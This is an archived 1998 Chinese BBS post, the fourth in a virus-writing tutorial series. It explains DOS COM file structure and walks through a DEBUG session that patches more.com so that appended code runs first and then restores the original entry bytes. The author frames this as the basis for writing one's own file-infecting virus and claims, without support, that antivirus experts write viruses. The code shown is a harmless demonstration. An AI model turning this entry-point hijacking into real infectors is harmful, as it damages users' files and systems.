荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Mill (我会忘记), 信区: Virus
标  题: 病毒教程四
发信站: BBS 荔园晨风站 (Sun Oct 25 15:43:44 1998), 站内信件

发信人: cynicism (文月), 信区: Virus
标  题: 病毒教程四
发信站: 龙门客栈 (Thu May 14 22:37:15 1998), 转信

                  怎样编写可执行文件型病毒
可执行文件型病毒是DOS病毒中的大家族,也是病毒编写专家们用以炫耀自己的聪明
才智的时候。感染处理千奇百怪,传染方案数不胜数,不亚于春秋战国时期的诸子百
家争鸣,病毒大概是"病毒安全专家们"编出来的吧。理由有一:安全专家们靠处理
病毒为生,有编写的能力;二:安全专家们自己会编写病毒,却极力反对别人学习病
毒,免得饭碗被抢,有编写病毒的嫌疑。下面让我们来看看可执行文件病毒的编程方
法,其简单程度可以让坑蒙拐骗的病毒专家们汗颜。我编写的最小的文件型病毒大约
只有100多行汇编代码,如果我象某些杀毒专家一样,按照平均30分钟一个病毒,恐
怕这几年我要成为最大的杀毒英雄了。
可执行文件病毒有广义和狭义之称。广义的可执行文件病毒包括了通常所说的可执行
文件病毒,源码病毒,甚至我们入门举的BAT病毒和现在流行的WORD宏病毒,下
面我们所述的只包括狭义的可执行文件病毒-----即COM型和EXE型病毒。
编写COM型病毒和EXE型病毒非常地简单,我们先来了解COM文件和EXE文件的
结构吧。

    如何修改可执行文件?

COM文件是一种单段执行结构,起源于CPM-86操作系统,其执行文件代码和执行时
内存影象完全相同,其始执行偏移地址为100H,对应于文件的偏移0。运行我们的
DEBUG程序,我们先来做一个练习。我们拿DOS6.22西文版中的more.com来做实验。
C:\>debug more.com
-u
0CA4:0100 B8371E        MOV     AX,1E37             ;注意前三个字节的内容
0CA4:0103 BA3008        MOV     DX,0830
0CA4:0106 3BC4          CMP     AX,SP
0CA4:0108 7369          JNB     0173
0CA4:010A 8BC4          MOV     AX,SP
0CA4:010C 2D4403        SUB     AX,0344
0CA4:010F 90            NOP
0CA4:0110 25F0FF        AND     AX,FFF0
0CA4:0113 8BF8          MOV     DI,AX
0CA4:0115 B9A200        MOV     CX,00A2
0CA4:0118 90            NOP
0CA4:0119 BE7E01        MOV     SI,017E
0CA4:011C FC            CLD
0CA4:011D F3            REPZ
0CA4:011E A5            MOVSW
0CA4:011F 8BD8          MOV     BX,AX
-r
AX=0000  BX=0000  CX=09F1  DX=0000  SP=FFFE  BP=0000  SI=0000  DI=0000
DS=0CA4  ES=0CA4  SS=0CA4  CS=0CA4  IP=0100   NV UP EI PL NZ NA PO NC
0CA4:0100 B8371E        MOV     AX,1E37
-a af1
0CA4:0AF1 mov ah,0
0CA4:0AF3 int 16                                ;等待按键
0CA4:0AF5 cmp al,1b                             ;等待ESC键
0CA4:0AF7 jnz af1
0CA4:0AF9 mov word ptr [100],37b8                  ;恢复程序开始的三个字节
0CA4:0AFF mov byte ptr [102],1e
0CA4:0B04 push cs                                ;进栈CS:100
0CA4:0B05 mov si,100
0CA4:0B08 push si
0CA4:0B09 retf                                   ;RetF回到CS:100,程序开始处
0CA4:0B0A
-a 100
0CA4:0100 jmp af1                        ;将程序开头改成跳转到修改的模块
0CA4:0103
-rcx
CX 09F1
:a0a
-w
Writing 00A0A bytes
-q
修改完了,我们来执行一下more,发现什么没有?哈哈,如果不按ESC键程序无法
执行,流程很简单:
1、把程序开始处的指令修改成了跳转到最后的添加的程序位置。
2、最先执行添加的程序(相当于病毒模块),等待ESC键
3、按下ESC键后修改回程序开始的指令,跳转回最开始。(执行原始程序)

好了,大家如果能看懂上面这段话,那你离编写自己的COM病毒将不会很远了。


--
欢迎访问http://wenyue.yeah.net
提供最新软件下载,常用网络资源,序列号联结列表,免费杀毒等服务
欢迎到病毒区灌水

m;36m※ 来源:.龙门客栈 bbs.szonline.net.[FROM: ppp94.hk.ha.cn]m
--
m;36m※ 转寄:.龙门客栈 bbs.szonline.net.[FROM: 202.96.191.124]m

--
                         ┏━━━━━━━━━━━━━┯┓
                         ┃ 弃我去者,昨日之日不可留, ╚┫
                         ┃ 乱我心者,今日之日多烦忧.   ┃
                         ┗━━━━━━━━━━━━━━┛
 取下天上的月亮后,我拿给你
 Email: s7110109@szu.edu.cn  Macrobird

※ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 192.168.0.167]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店